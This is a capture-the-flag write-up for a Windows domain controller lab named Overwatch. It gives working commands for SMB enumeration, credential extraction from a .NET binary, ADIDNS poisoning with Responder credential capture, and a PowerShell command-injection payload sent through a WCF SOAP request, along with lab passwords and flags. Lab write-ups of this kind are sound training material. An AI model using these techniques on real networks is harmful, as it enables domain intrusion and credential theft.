Machine Info

  • Name: Overwatch
  • IP: 10.129.6.220
  • OS: Windows Server 2022 (Domain Controller)
  • Difficulty: Medium
  • Key Skills: .NET Reverse Engineering, ADIDNS Poisoning, MSSQL Linked Servers, Responder NTLM Capture, WCF SOAP Command Injection

Summary

Overwatch is a Windows Server 2022 Domain Controller running a custom .NET WCF monitoring service. Guest-accessible SMB reveals a hidden software$ share containing the monitoring binary with hardcoded SQL credentials. A full port scan discovers MSSQL on non-standard port 6520. The MSSQL instance has a linked server (SQL07) whose hostname doesn’t resolve in DNS. Using ADIDNS write permissions, we poison SQL07 to point to our machine and capture cleartext credentials via Responder’s rogue MSSQL server. These credentials belong to a user with WinRM access, yielding the user flag. The WCF monitoring service on localhost:8000 has a command injection vulnerability in its KillProcess SOAP method, which we exploit for the root flag.

Attack Chain:

SMB guest -> software$ -> overwatch.exe -> hardcoded SQL creds -> MSSQL:6520 -> linked server SQL07 -> ADIDNS poisoning -> Responder cleartext capture -> WinRM -> user flag -> WCF KillProcess SOAP injection -> root flag

Reconnaissance

Port Scan

nmap -Pn -sC -sV --top-ports 1000 -T4 10.129.6.220

Standard DC ports discovered: DNS/53, Kerberos/88, RPC/135, SMB/445, LDAP/389, RDP/3389, WinRM/5985, ADWS/9389.

A full port scan reveals the critical finding:

nmap -Pn -p- -sV --version-intensity 3 -T4 10.129.6.220

Port 6520 is open running Microsoft SQL Server 2022. This non-standard port is easy to miss with default scans.

SMB Enumeration

Guest authentication is enabled. Enumerating shares reveals a hidden share:

nxc smb 10.129.6.220 -u 'guest' -p '' --shares
software$       READ

The software$ share contains a Monitoring/ folder with:

  • overwatch.exe - .NET Framework 4.7.2 WCF service binary (9,728 bytes)
  • overwatch.exe.config - WCF service configuration
  • overwatch.pdb - debug symbols
  • Entity Framework and SQLite DLLs
  • System.Management.Automation.dll - PowerShell SDK (flags PowerShell execution capability)

Download everything:

from impacket.smbconnection import SMBConnection

conn = SMBConnection('10.129.6.220', '10.129.6.220', timeout=60)
conn.login('guest', '')
# Recursively download from software$ share

Binary Analysis

Extracting Strings from .NET Binary

The binary is a .NET executable. User string literals are stored in the #US (User Strings) heap as UTF-16LE. Extract them with Python:

import re
data = open('overwatch.exe', 'rb').read()
results = re.findall(b'(?:[\x20-\x7e]\x00){4,}', data)
for r in results:
    s = r.decode('utf-16-le', errors='ignore').strip()
    if len(s) > 3:
        print(s)

Finding 1: Hardcoded SQL Credentials

The constructor contains a hardcoded MSSQL connection string:

Server=localhost;Database=SecurityLogs;User Id=sqlsvc;Password=TI0LKcfHzZw1Vv;

Credentials sqlsvc:TI0LKcfHzZw1Vv are valid domain credentials (verified via SMB and LDAP).

Finding 2: Command Injection in KillProcess

The KillProcess method builds a PowerShell command via string concatenation:

Stop-Process -Name {processName} -Force

The processName parameter comes directly from the WCF SOAP request with zero sanitization.

Finding 3: WCF Endpoint Configuration

From overwatch.exe.config:

<add baseAddress="http://overwatch.htb:8000/MonitorService" />
<endpoint address="" binding="basicHttpBinding"
          contract="IMonitoringService" />

Port 8000 is not externally accessible - only exploitable from localhost.

Domain Enumeration

Credential Validation

nxc smb 10.129.6.220 -u 'sqlsvc' -p 'TI0LKcfHzZw1Vv'    # [+]
nxc winrm 10.129.6.220 -u 'sqlsvc' -p 'TI0LKcfHzZw1Vv'   # [-]
nxc rdp 10.129.6.220 -u 'sqlsvc' -p 'TI0LKcfHzZw1Vv'     # [+]

sqlsvc authenticates on SMB, LDAP, and RDP but has no WinRM access and is not a local admin.

BloodHound Collection

bloodhound-python -u sqlsvc -p 'TI0LKcfHzZw1Vv' \
  -d overwatch.htb -ns 10.129.6.220 -c All --zip

Key findings:

  • 106 users, 54 groups, 6 computer objects
  • sqlmgmt is a member of Remote Management Users
  • Computer objects include SQL03, SQL07, FILE01, NB001, NB002 - none have DNS records
  • No ADCS, no LAPS, no Kerberoastable SPNs, no AS-REP roastable accounts
  • No viable ACL-based escalation from sqlsvc

MSSQL Access - Port 6520

Connecting to MSSQL

SQL authentication fails but Windows authentication works:

mssqlclient.py overwatch.htb/sqlsvc:'TI0LKcfHzZw1Vv'@10.129.6.220 \
  -port 6520 -windows-auth
SQL (OVERWATCH\sqlsvc  guest@master)>

Discovering the Linked Server

SELECT name FROM sys.servers WHERE is_linked = 1;
name
-----
SQL07

SQL07 is a linked server with RPC and data access enabled. Checking DNS:

nslookup SQL07.overwatch.htb 10.129.6.220
# ** server can't find SQL07.overwatch.htb: NXDOMAIN

The hostname doesn’t resolve - perfect for DNS poisoning.

ADIDNS Poisoning

Adding a DNS Record

Any authenticated domain user can add new DNS records via LDAP. Using dnstool.py from krbrelayx:

git clone https://github.com/dirkjanm/krbrelayx.git /tmp/krbrelayx

python3 /tmp/krbrelayx/dnstool.py \
  -u 'overwatch.htb\sqlsvc' \
  -p 'TI0LKcfHzZw1Vv' \
  -r SQL07.overwatch.htb \
  -a add -t A -d 10.10.14.123 \
  10.129.6.220
[+] Bind OK
[+] LDAP operation completed successfully

Verify:

nslookup SQL07.overwatch.htb 10.129.6.220
# Name: SQL07.overwatch.htb
# Address: 10.10.14.123

Setting Up Responder

Start Responder to capture credentials when MSSQL tries to authenticate to the linked server:

sudo responder -I utun12 -i 10.10.14.123 -v

Triggering the Linked Server Query

From the MSSQL shell:

SELECT * FROM OPENQUERY(SQL07, 'SELECT 1');

Responder captures cleartext credentials from the linked server authentication:

[MSSQL] Cleartext Client   : 10.129.6.220
[MSSQL] Cleartext Hostname : SQL07 ()
[MSSQL] Cleartext Username : sqlmgmt
[MSSQL] Cleartext Password : bIhBbzMMnB82yx

User Flag

WinRM Access

The captured sqlmgmt account is in Remote Management Users:

nxc winrm 10.129.6.220 -u 'sqlmgmt' -p 'bIhBbzMMnB82yx'
WINRM  10.129.6.220  5985  S200401  [+] overwatch.htb\sqlmgmt:bIhBbzMMnB82yx (Pwn3d!)

Reading user.txt

nxc winrm 10.129.6.220 -u 'sqlmgmt' -p 'bIhBbzMMnB82yx' \
  -X 'type C:\Users\sqlmgmt\Desktop\user.txt'
7b7e281f1e8c3b696e092a43fc43519e

Root Flag - WCF Command Injection

Exploiting KillProcess via SOAP

The WCF monitoring service runs on localhost:8000 and is now reachable from the WinRM session. The KillProcess method executes Stop-Process -Name {input} -Force without sanitization.

Injection payload: notepad; type C:\Users\Administrator\Desktop\root.txt #

The # comments out the trailing -Force that would otherwise cause a parameter error.

Build the SOAP request as a Base64-encoded PowerShell command to avoid quoting issues:

$body = '<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><KillProcess xmlns="http://tempuri.org/"><processName>notepad; type C:\Users\Administrator\Desktop\root.txt #</processName></KillProcess></s:Body></s:Envelope>'
$headers = @{"SOAPAction" = '"http://tempuri.org/IMonitoringService/KillProcess"'}
$r = Invoke-WebRequest -Uri "http://localhost:8000/MonitorService" -Method POST -Body $body -ContentType "text/xml; charset=utf-8" -Headers $headers -UseBasicParsing
$r.Content

Base64 encode and execute via WinRM:

nxc winrm 10.129.6.220 -u 'sqlmgmt' -p 'bIhBbzMMnB82yx' \
  -X 'powershell -EncodedCommand <base64_encoded_script>'

The SOAP response returns the flag directly:

<KillProcessResult>1a0934d5ccaeb751d6b4c1225c674d0e</KillProcessResult>

Key Takeaways

  • Always do full port scans. MSSQL on port 6520 was the entire pivot point. Default top-1000 scans missed it completely.
  • Check for unresolved computer objects. BloodHound revealed 6 computers but only the DC had a DNS record. Unresolved hostnames are prime DNS poisoning targets.
  • ADIDNS write permissions are default. Any authenticated domain user can add DNS records via LDAP. This is a powerful capability for redirecting service traffic.
  • MSSQL linked servers leak credentials. When a linked server uses stored credentials and the target hostname is poisoned, Responder’s rogue MSSQL captures cleartext passwords.
  • Reverse engineer custom binaries. The .NET binary revealed both the initial SQL credentials and the final privilege escalation path (WCF command injection).
  • WCF SOAP services with string concatenation are dangerous. The KillProcess method’s unsanitized PowerShell execution is a textbook command injection - and the SOAP response returned output directly, making exploitation trivial.